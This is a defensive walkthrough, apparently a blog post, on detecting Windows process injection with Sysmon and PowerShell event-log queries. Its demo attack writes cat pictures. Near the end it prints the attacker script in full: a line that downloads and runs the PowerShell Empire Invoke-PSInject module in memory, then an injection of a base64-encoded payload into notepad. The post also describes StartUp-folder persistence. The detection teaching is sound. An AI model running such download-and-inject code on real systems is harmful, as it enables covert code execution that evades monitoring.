What Is Process Injection?
Process injection refers to executing code inside a different process. MITRE ATT&CK describes Process injection as follows.
A method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process’s memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
There are multiple approaches to injecting code into a live process. Windows implementations include:
- Dynamic-link library (DLL) injection
- Portable executable injection
- Thread execution hijacking
- Asynchronous Procedure Call
- Thread Local Storage
Detecting Process Injection
If we don’t have appropriate monitoring set, then we start detection by finding behavior on the endpoint which we would consider suspicious. Let’s suppose an example scenario in which we are alarmed by cat pictures being written to a user’s desktop. Obviously this is a good example of highly malicious behavior which no regular user would ever do.
Install Basic Sysmon Template
As a first step I want to know which process is writing these files to the desktop to determine if this might be normal behavior. We can use Sysmon to accomplish this. Before querying Sysmon logs we should confirm that it is installed with an appropriate configuration file. Since we want to know about picture files being written to the desktop we will confirm that Sysmon gets loaded with a configuration file that includes logging such events. The following should suffice:
<Sysmon schemaversion="4.22">
<HashAlgorithms>*</HashAlgorithms>
<EventFiltering>
<FileCreate onmatch="include">
<TargetFilename condition="end with">.jpg</TargetFilename>
<TargetFilename condition="end with">.jpeg</TargetFilename>
<TargetFilename condition="end with">.png</TargetFilename>
</FileCreate>
</EventFiltering>
</Sysmon>
Here we have a minimal Sysmon template where we also include all file creation events where the filename ends with one of the following extensions .jpg, .jpeg or .png.
Finding The Process Writing Files
After we have Sysmon setup we can query the Windows event log using for example PowerShell Get-WinEvent
cmdlet. To find out what we need to filter for, we can use the Sysmon page to find the event id that we are interested in.
In this case it is Event ID 11: FileCreate
. We can use the -FilterHashtable
parameter to filter to only FileCreate events @{logname='Microsoft-Windows-Sysmon/Operational'; id=11}
. Since this query will give us all file creation events across the system it will likely be too verbose. We can pipe the previous command to filter down the event log messages based on file path and type | ?{ if ($_.Message -like '*TargetFilename: C:\Users\Administrator\Desktop\*.jpg*') { $_ }}
Investigating The Suspicious Process
Now that we have identified the process which is writing the files we can determine this behavior to be abnormal. In the hopes of understanding this anomaly we will gather more information. We can query all events that Sysmon recorded for this process using the following command:
Get-WinEvent -LogName Microsoft-Windows-Sysmon/Operational -FilterXPath ('*/*/Data[@Name="ProcessId"]="5492"') | sort -Property id -Unique | ft -Wrap
Here we queried the Sysmon log file using the Get-WinEvent
cmdlet. We filtered the query to any log event where the key <Data Name="ProcessID">
is equal to process id 5492 that we are looking for. To reduce the output we can sort by unique event id and then wrap the output, so PowerShell shows the entire line.
From the list of Sysmon event ids 3 and 11 we can determine that the suspicious process spent most of its time making network connections to a specific host and writing files to disk. Let’s find all files the process created.
(Get-WinEvent -LogName Microsoft-Windows-Sysmon/Operational -FilterXPath ('*/*/Data[@Name="ProcessId"]="5492"')).Message | findstr 'TargetFilename'
The only file other than the cat pictures was a PowerShell script, which seems quite unusual since the Windows Security notification icon process doesn’t usually execute PowerShell scripts. Let’s look into Microsoft-Windows-PowerShell/Operational
log and filter by the given process to see if we can find more information.
(Get-WinEvent -LogName Microsoft-Windows-PowerShell/Operational -FilterXPath '*[System[Execution[@ProcessID="5492"]]]').Message
Here we can see that PowerShell starts an IPC listening thread from the given process PID 5492. This also indicates that the given process is executing PowerShell. To confirm our suspicion we can look if the process is using System.Management.Automation.dll
. For a process to run a PowerShell script it would have to load System.Management.Automation.dll
to communicate with the .NET framework. In theory any binary could host the System.Management.Automation.dll
to execute PowerShell, but very few actually do. We can use Process Explorer to confirm this.
Seeing an unknown unsigned DLL being loaded into a known Windows process seems quite suspicious, especially if it is loaded from an unusual path. In this case the unsigned System.Management.Automation.ni.dll
is the valid Microsoft dll, but for some reason it is not signed. If something like Code Integrity Guard (CIG) was applied to stop this, then PowerShell would load older DLLs which are actually signed.
Configure Sysmon To Detect Process Injection
We were unable to detect the source of the process injection using a basic Sysmon configuration. We will look for a more advanced setup. A lot of quality Sysmon configurations are offered open-source on GitHub, we can use one by SwiftOnSecurity. Looking into the template we can see:
<!--SYSMON EVENT ID 8 : REMOTE THREAD CREATED [CreateRemoteThread]-->
<!--COMMENT: Monitor for processes injecting code into other processes. Often used by malware to cloak their actions. Also when Firefox loads Flash. [ https://attack.mitre.org/wiki/Technique/T1055 ] -->
The configuration file gives us a good reference to MITRE technique T1055 for process injection also it points to the Sysmon event id 8, which is often associated with process injection. Since the process injection loads DLLs I also included Sysmon event id 7 to get more detailed information.
<!--SYSMON EVENT ID 6 : DRIVER LOADED INTO KERNEL [DriverLoad]-->
<RuleGroup name="" groupRelation="or">
<DriverLoad onmatch="exclude">
<Signature condition="contains">microsoft</Signature> <!--Exclude signed Microsoft drivers-->
<Signature condition="contains">windows</Signature> <!--Exclude signed Microsoft drivers-->
<Signature condition="begin with">Intel </Signature> <!--Exclude signed Intel drivers-->
</DriverLoad>
</RuleGroup>
<!--SYSMON EVENT ID 7 : DLL (IMAGE) LOADED BY PROCESS [ImageLoad]-->
<RuleGroup name="" groupRelation="or">
<ImageLoad onmatch="exclude">
<Signature condition="contains">microsoft</Signature> <!--Exclude signed Microsoft drivers-->
<Signature condition="contains">windows</Signature> <!--Exclude signed Microsoft drivers-->
<Signature condition="begin with">Intel </Signature> <!--Exclude signed Intel drivers-->
</ImageLoad>
</RuleGroup>
<!--SYSMON EVENT ID 8 : REMOTE THREAD CREATED [CreateRemoteThread]-->
<RuleGroup name="" groupRelation="or">
<CreateRemoteThread onmatch="exclude">
<SourceImage condition="is">C:\Windows\system32\wbem\WmiPrvSE.exe</SourceImage>
We can update our previous Sysmon configuration using the following command.
sysmon -accepteula -c "C:\Users\Administrator\Desktop\SwiftOnSecurity-modified-configuration.xml"
Finding Another Infected Process
After waiting for a few moments we can query Sysmon logs for driver loaded
, image loaded
and CreateRemoteThread
. We want to find a new process with a similar footprint, so Sysmon has had a chance to log events based on the updated configuration. An easy way to do this is to look for System.Management.Automation.dll
again.
(Get-Process | Where-Object {$_.ProcessName -ne "powershell"}) | % { if (($_.Modules.ModuleName | Select-String -Pattern "System.Management.Automation*") | Tee-Object -Variable a ) {$_.ProcessName ; $a} }
Here we get all processes, excluding PowerShell. Then we filter them down to only the processes that have loaded the System.Management.Automation
DLLs.
Looking For Process Injection
Now we can query for Sysmon events done by this process.
(Get-WinEvent -LogName Microsoft-Windows-Sysmon/Operational -FilterXPath '*/*/EventID=6 and */*/Data[@Name="ProcessId"]="4104"').Message
(Get-WinEvent -LogName Microsoft-Windows-Sysmon/Operational -FilterXPath '*/*/EventID=7 and */*/Data[@Name="ProcessId"]="4104"').Message | findstr 'ImageLoaded:'
(Get-WinEvent -LogName Microsoft-Windows-Sysmon/Operational -FilterXPath '*/*/EventID=8').Message
The image loaded
query showed us the same PowerShell DLLs as the previous process, but driver loaded
did not record anything. The CreateRemoteThread
found a bunch of events where our infected process was the TargetProcess
and it indicated another PowerShell process as the source.
Under SourceProcessId
we can find the process that did the injection.
Source Of Process Injection
Since we now know which process did the injection we can search its process id in Sysmon to find out how.
((get-winevent -LogName Microsoft-Windows-Sysmon/Operational) | ?{ $_.message -match '.*ProcessId: 6072.*'}).message
Here we can see two interesting clues:
-
First, the command that was used to download the malicious process injection script.
-
Second, we can see that the malicious process was started by a .bat script from the execution of the user profile.
Lets see what is inside the get-cats.ps1
script that did the process injection.
IEX (iwr 'https://raw.githubusercontent.com/EmpireProject/Empire/master/data/module_source/management/Invoke-PSInject.ps1' -usebasicparsing)
# Download cat pictures script
$script=@"
Function Download-Catz {
while(`$true) {
iwr (((iwr 'http://api.thedogapi.com/v1/images/search' -usebasicparsing ).Content | convertfrom-json).url) -OutFile ('C:\WindowsAzure\Logs\' + ((new-guid).guid) + '.jpg') -usebasicparsing
Start-Sleep 60
}
}
Download-Catz
"@
Invoke-PSInject -ProcId ((get-process -Name *notepad*).Id) -Poshcode ([Convert]::ToBase64String([System.Text.Encoding]::Unicode.GetBytes($script)))
Finally! We found the script that was doing the injection.
We see the attacker downloading and executing the Invoke-PSInject
function. Then we see the Download-Catz
function being base64 encoded and injected into the notepad process using Invoke-PSInject
. Invoke-PSInject is a PowerShell Empire module that executes arbitrary PowerShell code using reflective PE injection. This means the Portable Executable (PE), in this case the ReflectivePick DLL, is written in to the memory of the victim process so it never touched disk. After this the DLL is executed using the CreateRemoteThread
function. The DLL is loaded reflectively using a ReflectiveLoader without the need for a Windows loader. This is why the injected DLL is not visible among the DLLs loaded by the process, but it can be seen under .NET assemblies as PowerShellRunner
.
Execution Flow
Looks like someone placed a malicious .bat script in the C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp
folder. This script executed with the user profile at logon, which downloaded and ran a PowerShell script called get-catz.ps1
, in memory. This PowerShell script used a Invoke-PSInject
function to inject a cat picture downloading PowerShell script in to the victim process.